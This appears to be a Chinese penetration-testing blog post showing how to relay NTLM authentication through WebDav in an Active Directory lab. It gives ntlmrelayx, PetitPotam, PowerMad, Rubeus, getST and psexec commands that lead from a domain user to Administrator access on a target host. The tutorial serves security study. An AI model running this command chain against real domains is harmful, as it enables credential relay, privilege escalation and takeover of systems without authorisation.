前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >通过WebDav进行NTLM Relay

通过WebDav进行NTLM Relay

作者头像
Nayon
发布2023-04-17 19:34:14
1.5K0
发布2023-04-17 19:34:14
举报

0x1 前言

​ NTLM Relay大家已经不再陌生了,很多时候我们通过NTLM Relay进行攻击时,会受到协议签名(ldap/s、smb等协议签名)的影响从而导致攻击失败,并且随着时间的流逝,我们想要遇到忽略签名的smb等服务也变得越来越困难了,我们有哪些方法来忽略服务端验证签名的影响从而达到我们relay攻击的目的呢?

​ 我们可以寻找不支持签名的服务,来避免服务端的签名校验。若客户端不支持签名验证的话,服务端在与客户端通信时是不会强制要求签名认证的。因此我们可以使用HTTP服务中的WebDav来尝试Relay攻击了。

0x2 什么是WebDav

​ WebDAV是一组基于超文本传输协议的技术集合,有利于用户间协同编辑和管理存储在万维网服务器文档。通俗一点儿来说,WebDAV 就是一种互联网方法,应用此方法可以在服务器上划出一块存储空间,可以使用用户名和密码来控制访问,让用户可以直接存储、下载、编辑文件。

​ Windows通过WebClient服务实现WebDav,允许Windows程序通过WebDav来创建、读取以及写入服务器上的文件,并通过HTTP服务进行通信,在客户端访问WebDav时,若开启Windows身份验证机制,我们便可以通过域内凭证进行访问服务。

0x3 攻击步骤

  • 拿到一枚域用户
  • 探测开启WebDav的服务器
  • 在域内为攻击机添加DNS解析
  • 使用Responder进行中继与委派
  • 强制WebDav服务器认证攻击机
  • 执行基于资源的约束委派攻击

0x4 攻击流程

0x01 探测WebDav服务

​ 拿到域内权限后,通过GetWebDAVStatus.exe探测内网中开放WebDav的服务器。

image-20221030124101717
image-20221030124101717

​ 发现目标后,为了让Relay顺利进行,我们可以添加一份DNS A记录,从而使得WebDav通过默认凭据来对我们进行身份验证,由于在Windows当中,WebDav由WebClient服务实现,而WebClient服务仅对内网以及受信任站点中的目标来采用默认凭据进行身份验证。

0x02 添加DNS解析
0x1.域内使用PowerMad添加

此处我们使用PowerMad进行添加DNS A解析记录,此处我们添加解析记录,普通域用户也可添加,并非只有域管用户才可操作。

代码语言:javascript
复制
import-module .\invoke-DNSupdate.ps1
Invoke-DNSUpdate -DNSType A -DNSName evil.pentest.local -DNSData 10.0.10.128
image-20221030124859446
image-20221030124859446

紧接着使用ipconfig /flushdns刷新dns本地缓存后可以看到使用ping命令即可成功解析我们所添加的记录

image-20221030125010956
image-20221030125010956
0x2.域外使用dnstool.py添加
代码语言:javascript
复制
python3 dnstool.py -u pentest.local\\Sharp -p Admin#123 -r evil.pentest.local -d 10.0.10.128 --action add ws01.pentest.local

0x03 准备NTLM Relay

回到攻击机进行操作。

利用Impacket项目ntlmrelayx.py执行攻击,指定LDAP协议进行身份验证,目标主机设置为域控,利用-delegate-access选项执行基于资源的约束委派攻击。

代码语言:javascript
复制
python3 ntlmrelayx.py -t ldaps://ws01 --delegate-access -smb2support

0x04 强制认证主机创建机器账户

回到被我们控制的主机,使用PetitPotam 强制WebDav服务器认证我们的攻击机,此处不可使用ip进行强制认证,使用我们先前添加的DNS解析进行强制认证,此处的@符号前为主机名,后为端口号。

0x1.域内认证
代码语言:javascript
复制
PetitPotam.exe evil@80/evil.cnf 10.0.10.110
image-20221030131357379
image-20221030131357379
0x2.域外认证
代码语言:javascript
复制
python3 PetitPotam.py -u sharp -p Admin#123 -d pentest.local evil@80/ad 10.0.10.110

这时候,回到攻击机查看可以发现,我们此时已经通过ws03$的身份,创建了一个机器账户

这时我们回到域控查看WebDav服务器,可以发现msDS-KeyCredentialLink 属性已经被修改。

0x05 申请票据
0x1.域内申请票据

此时,我们便可以通过S4U扩展协议来申请访问WebDav目标机的ST票据了。

将密码转为hash,便于我们进行使用Rubeus进行申请票据

代码语言:javascript
复制
.\Rubeus.exe hash /domain:pentest.local /user:RUVEPAFW$ /password:'gm9wPzATZ<RT5Ei'
image-20221030143159039
image-20221030143159039
代码语言:javascript
复制
.\Rubeus.exe s4u /user:RUVEPAFW$ /rc4:4A5AD55249E75BB39F928EFB55A8A81B  /impersonateuser:Administrator /msdsspn:host/ws03.pentest.local /altservice:cifs /nowrap /ptt

由于开启了PTT模块,此时我们缓存中已经加载了申请来的ST票据,拥有了访问WS03机器共享目录权限。

当然,我们也可以将申请到的kirbi票据除空格后解码base64,利用ticketConverter转为cacche格式,于域外利用

代码语言:javascript
复制
echo 'payload' | base64 -d > administrator.kirbi
python3 ticketConverter.py administrator.kirbi administrator.ccache 

将申请到的票据加载到环境变量中,使用psexec登陆远程服务器。

代码语言:javascript
复制
export KRB5CCNAME=/opt/tools/impacket/examples/administrator.ccache
python3 psexec.py -no-pass -k ws03.pentest.local

0x2.域外申请票据

参考委派,使用机器账户身份申请ST票据

代码语言:javascript
复制
python3 getST.py -dc-ip 10.0.10.111 pentest/RUVEPAFW\$ -spn cifs/ws03.pentest.local -impersonate administrator

0x5 参考文章

代码语言:javascript
复制
https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/webclient
https://www.hackingarticles.in/lateral-movement-webclient-workstation-takeover/
本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2022-10-302,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x1 前言
  • 0x2 什么是WebDav
  • 0x3 攻击步骤
  • 0x4 攻击流程
    • 0x01 探测WebDav服务
      • 0x02 添加DNS解析
        • 0x1.域内使用PowerMad添加
        • 0x2.域外使用dnstool.py添加
      • 0x03 准备NTLM Relay
        • 0x04 强制认证主机创建机器账户
          • 0x1.域内认证
          • 0x2.域外认证
        • 0x05 申请票据
          • 0x1.域内申请票据
          • 0x2.域外申请票据
      • 0x5 参考文章
      相关产品与服务
      多因子身份认证
      多因子身份认证(Multi-factor Authentication Service,MFAS)的目的是建立一个多层次的防御体系,通过结合两种或三种认证因子(基于记忆的/基于持有物的/基于生物特征的认证因子)验证访问者的身份,使系统或资源更加安全。攻击者即使破解单一因子(如口令、人脸),应用的安全依然可以得到保障。
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档